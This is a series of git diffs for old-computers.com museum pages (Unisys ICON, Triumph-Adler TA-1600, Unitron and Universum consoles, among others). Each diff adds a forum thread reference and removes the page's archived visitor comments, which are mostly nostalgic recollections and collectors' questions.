contact me. oc_id: 1022 source: url: https://web.archive.org/web/20230328121242/http://www.old-computers.com/museum/computer.asp?c=1022 diff --git a/content/museum/triumph-adler-ta-1600.md b/content/museum/triumph-adler-ta-1600.md index 1331b409..b7088827 100644 --- a/content/museum/triumph-adler-ta-1600.md +++ b/content/museum/triumph-adler-ta-1600.md @@ -62,6 +62,7 @@ params: value: from 13.000 DM (German Mark, 1983) tabs: - photos + forum_thread: 1269 photos: - title: TA-1600 subtitle: '' @@ -70,33 +71,6 @@ params: Thanks to Jomoca for this picture image: /media/museum/photos/triumph-adler_ta-1600_moya_1.jpg - comments: - - author: StefanoB - date: Tuesday 27th June 2017 - text: |- - According to this valuable page: - - http://www.horniger.de/computer/ta/index.html - - $ 1982 $ TA 1600 SERIES 10 20 30 $ COMPUTER 1-16 USERS, 64 - 256 KB, TI-990 SERIES WITH TMS-9900 PROCESSOR $\ - $ 1984 $ TA 1600 SERIES 25 35 38 $ COMPUTER 1-16 USERS, 256 - 2048 KB, TTI-990 SERIES WITH TMS-9900 PROCESSOR $ - - author: Balazs Csizmazia (Hungary) - date: Sunday 13rd November 2016 - text: Around 1985 I had been working on a TA1630 machine which had an operating system called TAXO (Triumph Adler Extended Operating system) on it. It was a TI990 look-like minicomputer, we developed COBOL applications with a text editor called TED (I have rewritten it on UNIX/TANIX/Xenix machines later to be used by the customers using TA1630). - - author: Petra (Germany) - date: Saturday 28th July 2012 - text: In the early 1980s I was Sales Assistant and Customer Supporter for the TA 1600 Series. As I remember, the 1600-10 had 2 Floppies 5 1/4 inch, the -20 2 Floppies 8 inch and the -30 1 8 inch Floppy plus Winchester drive 40 Mb. There still are some manuals and booting Floppies with "JDL" Job Description Language at my home office $) - - author: Mike Borshell (UK) - date: Thursday 26th July 2012 - text: |- - I was the UK Sales and Marketing Manager for TA Computers in the 1980s. There were 3 models:\ - The TA1600-10, TA1600-20 and TA1600-30. The 1600-10 had 2 floppies(8inch) and the 1600-20 a winchester drive 20Mb I seem to remember. These 2 models were single user and in the UK we had the BOS operating system and business applications ported to them. The 1600-30 was based on the TI990 mini computer processor and was a multi user rack mount system that used a TA version of the Texas Instruments mini computer operating system. - - author: Michael Titgemeyer (Germany) - date: Sunday 4th December 2011 - text: The system was absed on a TI9900 processor, the keyboard, was, as far as I remember, with mechanical switches - - author: CLASSIFIED - date: Friday 20th August 2010 - text: that is a cool looking system i like how the monitor is sunk into the unit oc_id: 1304 source: url: https://web.archive.org/web/20230331122208/http://www.old-computers.com/museum/computer.asp?c=1304 diff --git a/content/museum/ultrasound-tele-sports.md b/content/museum/ultrasound-tele-sports.md index 55875613..35854bef 100644 --- a/content/museum/ultrasound-tele-sports.md +++ b/content/museum/ultrasound-tele-sports.md @@ -52,6 +52,7 @@ params: - software - emulators - links + forum_thread: 1128 photos: - title: TELE-SPORTS subtitle: '' @@ -66,17 +67,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: Bärni (AUSTRIA) - date: Sunday 15th December 2013 - text: I found exactly that system in a box with the original case does some one know how mutch is it worth today - - author: Duraton (France) - date: Wednesday 27th April 2011 - text: |- - Souvenirs, souvenirs!\ - I think we bought the Ultrasound Telesports in spring 1975 at "La Fnac" in Paris. - - We found it marvelous! related: - /museum/a10-telespiel-9010 - /museum/alex-video-spiel-tg-621 diff --git a/content/museum/ultrasound-tv-9010.md b/content/museum/ultrasound-tv-9010.md index 3fe825ef..ca14ded5 100644 --- a/content/museum/ultrasound-tv-9010.md +++ b/content/museum/ultrasound-tv-9010.md @@ -52,6 +52,7 @@ params: - photos - emulators - links + forum_thread: 1073 photos: - title: MAIN UNIT subtitle: '' @@ -74,13 +75,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: dario s. (germany) - date: Wednesday 9th May 2012 - text: Hi, i''m a happy owner of the ultrasound tv-9010-c. If you want that i post some pictures, then write an email. i would be really happy of someone could tell me the price of this consol.Sincerley dario - - author: dario s. (germany) - date: Wednesday 9th May 2012 - text: Hi, i''m a happy owner of the ultrasound tv-9010-c. If you want that i post some pictures, then write an email. i would be really happy of someone could tell me the price of this consol.Sincerley dario related: - /museum/a10-telespiel-9010 - /museum/alex-video-spiel-tg-621 diff --git a/content/museum/unimex-mark-ix.md b/content/museum/unimex-mark-ix.md index 14dd7f2e..ac8e6289 100644 --- a/content/museum/unimex-mark-ix.md +++ b/content/museum/unimex-mark-ix.md @@ -47,6 +47,7 @@ params: - hardware - software - links + forum_thread: 740 photos: - title: MARK IX subtitle: '' @@ -122,17 +123,6 @@ params: - title: INTERNAL LINK url: http://www.old-computers.com/magazine/view.asp?r=2&a=4 text: Article comparing the different GI catridge based systems - comments: - - author: Housemartins (Greece) - date: Monday 27th May 2019 - text: |- - Still have it, still works after repair:\ - https://www.youtube.com/watch?v$L7jvcu2Fzzg - - Bought in Greece as used from local flea market. - - author: Akmakas (Greece) - date: Wednesday 28th November 2007 - text: Well...I had the console when I was small boy and about at the end ot the year of 1979.Each cassette had ten games and the price of the console in greece was 10.000dr. related: - /museum/audiosonic-tele-sports-iv - /museum/bandai-tv-jack-5000 diff --git a/content/museum/unisys-icon.md b/content/museum/unisys-icon.md index e8ce633d..8fe5e6cf 100644 --- a/content/museum/unisys-icon.md +++ b/content/museum/unisys-icon.md @@ -62,6 +62,7 @@ params: value: About C$2.500 (ICON workstation) tabs: - links + forum_thread: 946 links: - title: Complete article from Wikipedia url: http://en.wikipedia.org/wiki/Unisys_ICON @@ -69,199 +70,6 @@ params: - title: The Burroughs ICON computer url: http://www.100megspopup.com/redawa/BIC/BIC3.html text: Nice dedicated page. Also information about other Icon systems - comments: - - author: Eric March (Ontario, Canada) - date: Wednesday 11th October 2006 - text: We used the colour version of the ICON computers at Woodbridge High School back in the early-mid 90s. My main memory was of how incredibly slow they were, while at the same time having a cool GUI with which to select and load programs. We used these in a programming class where they taught Turing language using an MS-DOS application for the text editor and compiler. Compiling even the simplest Turing program seemed to take forever, and the entire excersize was pointless considering Turing wasn't useful outside the classroom in any professional setting, least of all on ICON computers. This was the first time I ever had contact with an ICON, and the only other time I ever saw one was in the later part of the 80s, where an Ontario Place science exhibit had an ICON hooked up to a large LED character display that any passerby could program messages into using simple commands on the ICON to control colour and how it was displayed. - - author: Mnem (Canada) - date: Friday 16th December 2005 - text: |- - We had these things at our high school. They where strictly for the use of the students taking computer programming classes. One lab of Icon I's, 1 of II's, and 1 of III's with the built-in x86 hardware modules. - - Don't really remember playing any games on them, but I do remmember making a sport of spinning the trackball forcefully enough to get it to jump out of it's socket and fling accross the room. That and shoulder-surfing the Teachers SuperUser password so we could create our own SuperUser accounts on it. - - There was a cool little animation program on it too that you could draw sort-of frame-by-fram line graphics with which we inevitably used to make dirty animations and add them to students .login files so when they logged in the teacher would give them crap. That and adding 'logoff' to other students .login script so when they logged in they'd get logged right out again. - - I remember when the teacher found out that some of us had a SuperUser account on the machine the only thing he did was tell us to never type 'frel .bitmap' at the root prompt since that would erase the entire file allocation table of the hard drive. Good times. - - author: Jason Eckert (Canada) - date: Monday 11th April 2022 - text: 'I recently received an ICON and LEXICON from a retired school teacher, and created two blogs with useful information about them. You can find them here: https://jasoneckert.github.io/myblog/icon-computer/ and https://jasoneckert.github.io/myblog/lexicon-computer/' - - author: Brett (Canada) - date: Tuesday 4th January 2022 - text: We used these in high school in Southern Ontario. I believe they remained as active systems until 1996 when they were finally disposed of. I was first introduced to them in Grade 9 keyboarding in 1991. We used to have trackball "races" on them but the teachers weren''t super fond of that. After keyboarding, we used them in our DSC xAO classes and programmed on them in Pascal and C. It was quite a memorable system. Very slow, but also unforgettable even 30 years later. - - author: Will (Ontario, Canada) - date: Sunday 29th August 2021 - text: The Unisys/ Burroughs Icon computers were actually quite neat for their time and I remember using them from when I was in Kindergarten in one school in 1990 up to eighth grade in 1999. Ours was a lab that continued to run alongside the Pentium PC clones at our one elementary school up until the early 2000s (I was in high school at that point but occasionally visited my teachers in this school) when the machines were probably discarded. They used a form of early Ethernet networking, I believe as the computers used 50 ohm coaxial cable that daisy-chained from the server to each workstation. The server wasn''t just a file server but also acted as a print server with a single Panasonic dot matrix printer to print documents and other things from the workstations. Our server had the capability of multiple users that could log in and use them as well as storing data on the machines. The workstations varied in appearance, some were of the example image at the top, with a bay for an optional - 5 1/4 inch floppy drive while others looked like an early version of the iMac being an all-in-one machine with a fancy separate integrated keyboard and trackball. I remember as a kid getting one of the old keyboards and connecting it to an IBM clone and finding the keyboard part being able to type in Windows, but the trackball wasn''t really recognized. The Icon computers are the main reason why I use a trackball to this day on my computer systems as I find it easier to use than a mouse or trackpad. The way you $ed objects in the GUI with the trackball required the use of a special key, the "Action" key as a rudimentary "left click" The lab I used in Kindergarten was next to a small lab of Commodore Amigas and the school also used Commodore Pets, Vic 20s and Commodore 64s besides the Icon computers. - - author: Will (Ontario, Canada) - date: Sunday 29th August 2021 - text: The Unisys/ Burroughs Icon computers were actually quite neat for their time and I remember using them from when I was in Kindergarten in one school in 1990 up to eighth grade in 1999. Ours was a lab that continued to run alongside the Pentium PC clones at our one elementary school up until the early 2000s (I was in high school at that point but occasionally visited my teachers in this school) when the machines were probably discarded. They used a form of early Ethernet networking, I believe as the computers used 50 ohm coaxial cable that daisy-chained from the server to each workstation. The server wasn''t just a file server but also acted as a print server with a single Panasonic dot matrix printer to print documents and other things from the workstations. Our server had the capability of multiple users that could log in and use them as well as storing data on the machines. The workstations varied in appearance, some were of the example image at the top, with a bay for an optional - 5 1/4 inch floppy drive while others looked like an early version of the iMac being an all-in-one machine with a fancy separate integrated keyboard and trackball. I remember as a kid getting one of the old keyboards and connecting it to an IBM clone and finding the keyboard part being able to type in Windows, but the trackball wasn''t really recognized. The Icon computers are the main reason why I use a trackball to this day on my computer systems as I find it easier to use than a mouse or trackpad. The way you $ed objects in the GUI with the trackball required the use of a special key, the "Action" key as a rudimentary "left click" The lab I used in Kindergarten was next to a small lab of Commodore Amigas and the school also used Commodore Pets, Vic 20s and Commodore 64s besides the Icon computers. - - author: Jason Ewert (Canada) - date: Tuesday 9th March 2021 - text: Looking for \*\*ANY\*\* information/knowledge/contacts in regards to this! Interesting in gathering any knowledge/stories/reverse-engineering in regards to this$ politics included for preservation, blogging, or writing. Anyone...? :) ewert.jason@gmail.com - - author: Jasmine (Canada) - date: Wednesday 7th December 2016 - text: I found a Refugees in the Wilderness game! It''s not the original as it was destroyed. But, it''s close! http://www.theloyalistbartletts.com/site/start - - author: Lyon (Canada) - date: Friday 26th August 2016 - text: I''ve been researching an elementary school game on this Unisys Icon all night and I finally found out the name of the game, it was Peggie’s Potluck and I''m sure you guys have played it before. Yes, it was about cooking a stew lol. Does anybody have pictures of the gameplay? I need to feed my nostalgia lol. - - author: Mike Budz (Canada) - date: Sunday 26th June 2016 - text: I vaguely remember the "voice" saying something when it booted. I also remember think they were quite old in the late 80s to early 90s, being disappointed that there were so few programs. After a while these mostly collected dust in the backs of classrooms, "computer time" being treated like a reward when we didn''t have much to do. A shame really. - - author: Kevin Dutrisac (Ottawa) - date: Monday 7th March 2016 - text: |- - I remember using a later version of this computer throughout the 1990s at my primary school. I remember first learning how to type on this thing using a certain learning how to type game. It also had very basic word processing. One game that I remember playing that I used to love was Northwest Fur Trader, which we played after we would learn about the history of fur trading. I also remember playing a game to draw faces. - - Our school had these until the year 2000, and so it was very obsolete by then. We did have a handful of computers with Windows by then, which we had to take turns using and were normally for students who did not have computers at home. - - author: Oliver (Canada) - date: Friday 13rd November 2015 - text: In the eighties we had one of these (I guess) at Archie Stouffer Elementary in Minden, Ont. and I remember Off Shore Fishing but my favorite was North West Fur Trade. Anyone else remember it. Only game I ever played where you could contract cholera lol - - author: mat (canada) - date: Tuesday 3rd March 2015 - text: |- - Is there any way I can find this game or even pictures of this game\ - It was the offshore fishing fame on the unysis icon computer. I havent seen this game since I was a kid - - Metalic29@hotmail.com - - author: Ger - date: Sunday 23rd December 2012 - text: |- - $IMG$http://imageshack.us/a/img838/7492/offshorefisher.jpg$/IMG$ - - $) - - author: djnforce9 (Canada) - date: Monday 10th December 2012 - text: |- - I used these a LOT during Elementary school which would have spanned the late 1980''s and early to mid 1990''s. During my last two years there, the school started to replace them with conventional PC''s since the ICON''s were no longer suitable and REALLY showing their age. I never liked them too much because they were slow and lacked variety in software although a few games were fun such as Cross Country Canada and InterRail (the latter of which I made made my objective to get as much money as possible during travels). - - Perhaps the highlight was getting "Duke Nukem 3D" to run on one of the latest icon models (i.e. the ICON PC which could run DOS and Windows applications as well as the regular ones) since the computer technician had given it 8MB of RAM so it could act as a proper print server. It was clunky but it did actually work well enough to be playable. The teacher even let me play it during the designated "computer period" which was awesome but the tech wasn''t too thrilled when he found out about this and had me remove it. - - Anyway, I''m hoping one day some hobbyist get''s a hold of one and shows it off in a video. So far, information on these is very scarce and even moreso for their exclusive applications like Interrail. - - author: Ruth Winters (west virginia/USA) - date: Monday 13rd February 2012 - text: I was teaching remedial reading in the 80''s and 90''s and I had the Icons in my classroom. We had six workstations and one fileserver. I guess there was a teacher station too, but I don''t remember. I had not been an early adopter of technology, but when the Icons were installed I fell in love with computers. I stayed very late every night playing around with them. I learned file structure using the little GUI, and switching between the GUI and the prompt, and using the manuals to figure it all out. I was thrilled, and it started my love of technology. We purchased these for a reading program that used laser disks. We also played Mathmaze, Offshore Fishing, and others I''m sure. I remember that none of the other teachers wanted to have anything to do with them. They were installed in the room that had been the typing classroom, because there was conduit and outlets running throught the room on the floors. (These were all above the floor, serious tripping hazard.) I did accidentally - reformat the file server once, and the reps had to come back and reinstall everything. I don''t think they realized I had done it. This has been a nice little visit to yesteryear. - - author: Ruth Winters (west virginia/USA) - date: Monday 13rd February 2012 - text: I was teaching remedial reading in the 80''s and 90''s and I had the Icons in my classroom. We had six workstations and one fileserver. I guess there was a teacher station too, but I don''t remember. I had not been an early adopter of technology, but when the Icons were installed I fell in love with computers. I stayed very late every night playing around with them. I learned file structure using the little GUI, and switching between the GUI and the prompt, and using the manuals to figure it all out. I was thrilled, and it started my love of technology. We purchased these for a reading program that used laser disks. We also played Mathmaze, Offshore Fishing, and others I''m sure. I remember that none of the other teachers wanted to have anything to do with them. They were installed in the room that had been the typing classroom, because there was conduit and outlets running throught the room on the floors. (These were all above the floor, serious tripping hazard.) I did accidentally - reformat the file server once, and the reps had to come back and reinstall everything. I don''t think they realized I had done it. This has been a nice little visit to yesteryear. - - author: Shawn (Ottawa, ON) - date: Thursday 13rd January 2011 - text: |- - I''ve been trying to track this computer down for ages now. As far as I can remember, we had these in our computer room. - - The one game I distinctly remember was Robot R$D. - - Does anybody know where I can find any other info about this game? It''s such a blur in my brain but I''m fairly sure it was for this computer. - - author: coldlogic (canada) - date: Tuesday 23rd November 2010 - text: I would also like to find this software... I read that they destroyed all the software without archiveing it, but i mean, someone out there has a copies of this stuff. If its not done soon it could be lost forever. - - author: crUshed420 - date: Monday 15th November 2010 - text: |- - OK, a bit more info about that game I''m looking for. It was actually part of a 4-part series called "The Bartlett Saga" and the four parts were named: - - 1\) Refugees in the Wilderness\ - 2\) The Rebels\ - 3\) United We Stand: Confederation\ - 4\) The Golden West - - author: crUshed420 (Toronto, Canada) - date: Friday 12th November 2010 - text: Jim P - i''m pretty sure you''re thinking of "Refugees in the Wilderness" as well. That''s the game I''ve been trying to find for YEARS... if you find it, let me know! crUshed420@hotmail.com - - author: crUshed420 (Toronto Canada) - date: Friday 12th November 2010 - text: |- - Alex B. - I think you are right!!! That game was so fun, I still wish I could find it. I remember at the end of the game you could ask for a print-out that detailed your "success" as a pioneer. Man, they should re-make a bunch of these games as little Flash/Java games you could play on a website! - - Syd Bolton - that''s AMAZING you have an ICON setup in Brantford! Is "Refugees in the Wilderness" available to play?!?! - - author: Syd Bolton (Canada) - date: Tuesday 15th June 2010 - text: Thanks to Jean we have the ICON and a File Server (thanks to Walter) interactively setup at the Personal Computer Museum in Brantford, Ontario - so come out and play with it to bring back all your memories! - - author: Jean-Edouard (Montreal Canada) - date: Thursday 25th March 2010 - text: I have one Lexicon and two Icons with a lot of documentations.Please let me know if you are interested. You would have to take delivery around Montreal - - author: jim p (canada) - date: Tuesday 28th July 2009 - text: I played a game in markham museum. where you made choices to raise herds or crops . weather and sickness and injuries all played a role in your outcome. what was this game and is it still avail? - - author: Alex B. - date: Saturday 18th July 2009 - text: |- - It''s over 3 years ago now, but crUshed420 mentioned the game "Refugees in the Wilderness". - - Was this the game that you could make a giant pot of Stew using various settler goods? I remember there were tons of different outcomes$ some humorous. - - "The stew tasted horrible, but it cured Grandpa''s constipation". - - author: Keith (Canada) - date: Tuesday 21st October 2008 - text: |- - Does anyone here know where I could find an ICON computer? Anyone willing to sell? Also, is there anyone willing to sell or give details about the LEXICON file server? - - Thanks very much! - - author: Ken (Toronto) - date: Monday 2nd June 2008 - text: |- - We had these in my primary school in Scarborough, around 1986. I vaguely recall the fishing game, but I remember loving Oregon Trail, or at least a knock-off of the game.\ - I remember the built-in trackball (this was before mice were available, and when all home computers ran DOS) - - author: Ann Jun (Seattle) - date: Friday 18th January 2008 - text: Yeah, I heard about the ICON destruction. It makes me so sad...and pissed off. I miss Cargo Sailer...and the historical programs. Mathville was awesome, too. Moving up in the world! - - author: John Chan (Toronto) - date: Tuesday 18th December 2007 - text: Does anyone have a picture of the 2D low res/low color mathville. (not the VGA ones with the bunny). I was so happy when I learnt how to calculate taxes at the shopping checkout. - - author: Neil (Toronto) - date: Friday 8th June 2007 - text: |- - Hey guys, I heard that these icons were contracted specifically for Ontario schools. What's more, when they were officially dropped by the ministry of education in 1994, the hardware was all but destroyed :-( Had a few friends of mine, now teaching in our former elementary schools, to see if they have any of these in storage, but to no avail. - - According to the Wikipedia entry, the group that handles archiving of all things Ontario (i.e. Archives Ontario) refused to accept the hardware/software. I'd love to get my hands on 'Voyages of Columbus', but it looks like we'd have to sift through landfill to find them. D'oh! - - http://en.wikipedia.org/wiki/Unisys_ICON - - author: John Chan (Toronto) - date: Saturday 18th November 2006 - text: Where is the ICON 1--> ICON 2 (The one that is like ICON 2, but its white casing instead and uses dials (not buttons) for brightness control. It also has a speaker in the front and a green led light. I think it was mono. (unlike the ICON 2 which is color). They would be great for RDP over Xen if it isn't for the EGA/80186/Arcnet/1MB ram problem. I like the software, anyone have a "old-computers.com/ software museum?" - - author: Jay (Ottawa, On) - date: Sunday 12th November 2006 - text: I use to love these machines. I'd love playing Mathmaze, Offshore Fishing, Cargo Sailer, Logo and on the newer Icons playing Week In The Life Of, Rally & Mathville. I wish I could get my hands on one with some of the games on it or at least if someone would release them to play on PC or something. - - author: Spencer (Toronto) - date: Friday 13rd October 2006 - text: |- - I was wondering if anyone knows where to pickup a Unisys Icon or Lexicon ? I'm in the GTA and would love to get my hands on one to play with. I remember these from grade 6 and 8, seemed like a big old beast of a machine..\ - Thank You - - author: Trav Wilson (Tillsonburg) - date: Thursday 21st September 2006 - text: Yep, I hear ya... We had a collection of these... fged was "Fine Graphics Editor"... The white and blue monitors spoken of were colour, and about as hard to look at as a vic 20 on a colour tv... i found the amber were nice. We had the 10 meg model of the lexicon, and i can remember a few who went off on their own and wrote 'c' programs for the qnx. - - author: Lea-Andra (Ontario) - date: Tuesday 31st January 2006 - text: |- - I remember I had recess before our computer class and I offered to turn on all the computers during recess so I could start 'A day in the life of...' early. I never got to finish that game. I am going crazy trying to find it. If anyone does let me know. - - Thanks - - author: crUshed420 (Toronto, Canada) - date: Thursday 17th March 2005 - text: |- - Oh the Icons, how I miss them :( I've been trying to find an emulator for the PC so that I could relive those fun games. - - I too remember off shore fishing and loved it, HOWEVER, my absolute favourite was "Refugees in the Wilderness". - - That game alone has driven my search, and I have yet to find any reference to it online. It was a "choose your own adventure" type game where you were pioneers in the early 1800s and you had to plant corn, wheat, etc to survive. It was a really fun game, and if anyone finds a copy of it please email me! - - crUshed420@hotmail.com - - author: Steph (Ontario, Canada) - date: Tuesday 11th January 2005 - text: Wow! I too like Annette have nightmares about the "whoosh". Annette is actually the one who showed me this site, as we grew up together on this slow machine w/ a trackball from hell. The game I remember from this ancient computer was that math quest game. You get to be a wizard and go though lvs and solve math problems and try to get to the end. I never got there because it just took too long. Then we got computers where you could put, get this, compatable disks into it. We were floored and the "icon" went into the depths of our memories. Memories that have been revived by this site. - - author: Annette (Ontario) - date: Tuesday 11th January 2005 - text: Wow. I remember using these in public school strictly for playing awesome games like off-shore fishing, and "A day in the life of..." The worst part about them was the goddamn trackball. They made a weird "whoosh" noise when you tried to use it quickly so just imagine the sound of 24 grade 1 kids trying to play off-shore fishing. I still hear it in my dreams. I'm still kicking myself for not getting one when my school was throwing them away. - - author: Alex (Ontario, Canada) - date: Friday 30th January 2004 - text: |- - I am also a former user of the Unisys ICON computer, we had a single classroom of them while I was in Grade Nine. The class we took with these beasts was typing. I am going to check to see if any of the file servers for these computers still exsist at the high school (EC Drury). - - <>< Alex\ - Rom 12:2a Eph 5:18\ - www.alcs.tk www.luyckx.tk oc_id: 971 source: url: https://web.archive.org/web/20230608221149/http://www.old-computers.com/museum/computer.asp?c=971 diff --git a/content/museum/unitron-brazil-mac-512.md b/content/museum/unitron-brazil-mac-512.md index 0c6a51c4..bc4b962a 100644 --- a/content/museum/unitron-brazil-mac-512.md +++ b/content/museum/unitron-brazil-mac-512.md @@ -59,6 +59,7 @@ params: tabs: - photos - links + forum_thread: 971 photos: - title: UNITRON MAC 512 subtitle: '' @@ -130,32 +131,6 @@ params: - title: Very interesting Unitron 'Turbo' Mac page url: http://www.lsi.usp.br/~jecel/mac512.html text: By Jecel Assumpção Jr, designer of the Turbo version. - comments: - - author: Gilberto Martins (Brazil) - date: Saturday 25th January 2020 - text: |- - Just a little correction to Ricardo Tolomelli, the so called protection to brazilian industry and technology has been imposed after the brazilian military government, by the president José Sarney. - - MSX could only be bought on the black market, mainly (but not uniquely) from Paraguay. - - author: Edward W. Jackson (Missouri, USA) - date: Saturday 14th September 2013 - text: When I was a college student, in 1984. These little Macintosh computers were so expensive, nobody could buy them. I would had loved to had the Brazilian copycat computer. I was so mad at Macintosh for the expensive computer, which I had to use at the University to type my homework on. I resolved never to buy an Apple product. Years later, delivering air freight, Apple still "pimps" their products to kids, and the poor parents have to pay out of their pocket for overpriced computers! - - author: Ricardo Tolomelli (Brazil) - date: Wednesday 27th June 2012 - text: |- - During the military dictatorship in Brazil, which lasted till 1986, the government applied rules to "protect" brazilian industry and technology development by forbidding any kind of import for products that we "could produce" here. The cloning industry was then : supported" by the government when they showed they could produce similar computer with "local technology", in fact they were just cloning and manufacturing them here, the development involved was just on how to produce the same components here and not import anything. - - I used to have and Apple I and Apple II clones, both from Microdigital, and an MSX from Gradiente (which I''m not sure if it was cloned or licensed, but it was fully produced in Brazil). Those were the only options we could find on the (white) market during those days. Anything apart from it has to be illegally imported, and was very hard to find (not to mention their programs). - - Those "protection" laws were on until beginning of 90''s, when Fernando Collor, the president, $ped them, and the cloning industry died. Actually, that was the only good thing he did to our country... but that''s another story. - - author: Pomme (Europe) - date: Tuesday 26th July 2005 - text: |- - This is one of the reasons i love Apple, if you make a think whit effort and love on it and somebody simply steal your ideas Make them PAY (or blast their country) Mac power! - - The first thing is the dignity, after the market. - - Tolerate the system pirates is like tolerate the spam with a smile on face. oc_id: 997 source: url: https://web.archive.org/web/20230607233623/http://www.old-computers.com/museum/computer.asp?c=997 diff --git a/content/museum/unitron-germany-2200.md b/content/museum/unitron-germany-2200.md index 88ea6468..060636f8 100644 --- a/content/museum/unitron-germany-2200.md +++ b/content/museum/unitron-germany-2200.md @@ -54,6 +54,7 @@ params: - photos - adverts - links + forum_thread: 627 photos: - title: UNITRON 2200 subtitle: '' diff --git a/content/museum/universum-color-tv-multi-spiel-4010.md b/content/museum/universum-color-tv-multi-spiel-4010.md index 60dd31f1..85a946bc 100644 --- a/content/museum/universum-color-tv-multi-spiel-4010.md +++ b/content/museum/universum-color-tv-multi-spiel-4010.md @@ -54,6 +54,7 @@ params: - photos - software - links + forum_thread: 686 photos: - title: TV COLOR MULTISPIEL 4010 subtitle: '' diff --git a/content/museum/universum-color-tv-multi-spiel-4014.md b/content/museum/universum-color-tv-multi-spiel-4014.md index 3e51b85e..54811166 100644 --- a/content/museum/universum-color-tv-multi-spiel-4014.md +++ b/content/museum/universum-color-tv-multi-spiel-4014.md @@ -49,6 +49,7 @@ params: tabs: - photos - software + forum_thread: 1169 photos: - title: TV-MULTI-SPIEL 4014 subtitle: '' @@ -75,13 +76,6 @@ params: subtitle: screenshot text: '' image: /media/museum/software/universum_color-multispiel-4014_ice-hockey_ss.jpg - comments: - - author: Klaus Ruthmann (Germany) - date: Tuesday 28th May 2019 - text: The console was my favourite christmas wish 1979 / 1980. The whole family stuck together in front of a tube-colour-tv and tried to jump with the motorcycle above the busses or trying to hit a coloured box before it vanishes in the shooting game. Marvellous! For me this console stand for simple joy and pleasure and made me wish to create my very own video games. So I bought a Sharp PC-1211 and afterwards a Commodore VC-20. Many hours of joy and faszinating work are connected with this machines! - - author: Jochen (Germany) - date: Saturday 12th June 2010 - text: 'My multispiel 4014 still has a pricetag saying: 168,00 DM (Deutschmark) which nowadays would be about 86 EURO.' oc_id: 1201 source: url: https://web.archive.org/web/20230614011021/http://www.old-computers.com/museum/computer.asp?c=1201 diff --git a/content/museum/universum-multispiel-2006.md b/content/museum/universum-multispiel-2006.md index 1e6d4123..cf2714c2 100644 --- a/content/museum/universum-multispiel-2006.md +++ b/content/museum/universum-multispiel-2006.md @@ -43,6 +43,7 @@ params: tabs: - photos - links + forum_thread: 1264 photos: - title: ELECTRONIC BOARD subtitle: '' @@ -52,16 +53,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: countvarg - date: Thursday 10th October 2013 - text: '.............just kidding..' - - author: countvarg - date: Thursday 10th October 2013 - text: yaw are such losers - - author: CountVarg - date: Monday 21st March 2011 - text: Ive got this machine but It has a light gun with it . The game for it was hittin white squares that were floating around the screen. It got harder the more targets you hit. related: - /museum/gorenje-geti-3220 - /museum/philips-n20 diff --git a/content/museum/universum-tv-multi-spiel-handheld.md b/content/museum/universum-tv-multi-spiel-handheld.md index 9c1375d0..025e459c 100644 --- a/content/museum/universum-tv-multi-spiel-handheld.md +++ b/content/museum/universum-tv-multi-spiel-handheld.md @@ -57,6 +57,7 @@ params: - software - emulators - links + forum_thread: 1074 photos: - title: INSIDE subtitle: '' @@ -71,13 +72,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: Donfuego - date: Thursday 24th October 2013 - text: 'I sell one of those (from germany), contact me and make an offer: mobileas@web.de (2013-10-24) Fully funktional!' - - author: Suh Kerr - date: Monday 18th October 2010 - text: I had it - it was a multi-game pong that hooked up to the TV via RF. Very entertaining. related: - /museum/a10-telespiel-9010 - /museum/alex-video-spiel-tg-621 diff --git a/content/museum/universum-tv-spiel-1004.md b/content/museum/universum-tv-spiel-1004.md index 5c45b397..2012b0ab 100644 --- a/content/museum/universum-tv-spiel-1004.md +++ b/content/museum/universum-tv-spiel-1004.md @@ -52,6 +52,7 @@ params: - photos - emulators - links + forum_thread: 910 photos: - title: TV-SPIEL 1004 subtitle: '' @@ -74,13 +75,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: Nikolai Sywolos (Canada) - date: Monday 18th April 2011 - text: this is the same console as the unitrex video pro i have. mine is the Canadian version from ontario. it was released about 1975/76. it uses an RF switch box similar to that of the atari 2600 or intelevision. it cost $40 from zellars, or that''s a sale price i donno that''s what the old tag says. the instuctions came in english and french. that''s about all that i know about the Canadian version. - - author: Bill (USA) - date: Wednesday 2nd February 2011 - text: I bought one of these in Fort Worth, Texas (home of Tandy/Radio Shack) in 1977. The graphics on the console are slightly different but the shape, color, switches and functions are the same. I think it was on close out because it was priced very low, $20 or so. related: - /museum/a10-telespiel-9010 - /museum/alex-video-spiel-tg-621 diff --git a/content/museum/univox-41n.md b/content/museum/univox-41n.md index 7f0e4afc..d6480db0 100644 --- a/content/museum/univox-41n.md +++ b/content/museum/univox-41n.md @@ -9,6 +9,7 @@ params: company_name: Univox tabs: - photos + forum_thread: 1252 photos: - title: UNIVOX 41N subtitle: '' @@ -42,10 +43,6 @@ params: subtitle: '' text: '... labeled "F''GAMATIC 7600". It demonstrates that all these systems sold worldwide under different brands are in fact the same system code named GAMATIC 7600, made in Korea.' image: /media/museum/photos/univox_41n_electronic-board.jpg - comments: - - author: Dincer Diren (Germany) - date: Tuesday 5th January 2010 - text: Also this systems variant is produced in Germany Munich in year 1977 under the name of Intel TV Sport 1004. Probably this 1st generation consoles are by far the best ones in terms of build quality. oc_id: 1287 source: url: https://web.archive.org/web/20230613001139/http://www.old-computers.com/museum/computer.asp?c=1287 diff --git a/content/museum/v-marc-88a.md b/content/museum/v-marc-88a.md index f71c7bfb..49093bb7 100644 --- a/content/museum/v-marc-88a.md +++ b/content/museum/v-marc-88a.md @@ -62,6 +62,7 @@ params: value: Unknown tabs: - photos + forum_thread: 1155 photos: - title: V-MARC 88A subtitle: '' @@ -113,13 +114,6 @@ params: subtitle: '' text: Thanks to **Jean-Michel Jauffrit** image: /media/museum/photos/vmarc2_display_s1.jpg - comments: - - author: James W (United States) - date: Sunday 20th December 2020 - text: Does anyone know if the ROM images of this has been posted online? When I try to start mine all I get is a black display, thinking maybe the internal ROM is faulty. - - author: Duarte Rios - date: Monday 7th April 2014 - text: This is probably from 1985-1986 oc_id: 1187 source: url: https://web.archive.org/web/20230510155755/http://www.old-computers.com/museum/computer.asp?c=1187 diff --git a/content/museum/vector-graphics-mz.md b/content/museum/vector-graphics-mz.md index 